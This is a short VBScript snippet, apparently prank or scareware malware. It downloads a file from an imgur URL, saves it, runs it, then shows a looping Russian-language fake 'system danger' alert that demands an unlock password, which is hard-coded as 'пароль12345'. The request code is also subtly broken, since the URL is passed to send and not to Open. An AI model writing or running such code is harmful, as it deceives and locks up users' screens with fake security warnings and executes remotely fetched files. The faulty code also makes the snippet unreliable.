---

Set o=CreateObject("WScript.Shell"):Set h=CreateObject("MSXML2.XMLHTTP"):Set a=CreateObject("ADODB.Stream")
h.Open:h.setRequestHeader("User-Agent","M"):h.send("https://i.imgur.com/3tGzFLB.png")
a.Type=1:a.Open:a.Write(h.responseBody):a.SaveToFile("m.png",2):o.Run"m.png"
Do:o.Popup"ОБНАРУЖЕНА ОПАСНОСТЬ СИСТЕМЫ!!! ВВЕДИТЕ ПАРОЛЬ ДЛЯ РАЗБЛОКИРОВКИ",0,"ALERT",48+4096:p=InputBox("Пароль:"):Loop Until p="пароль12345":o.Run"del m.png"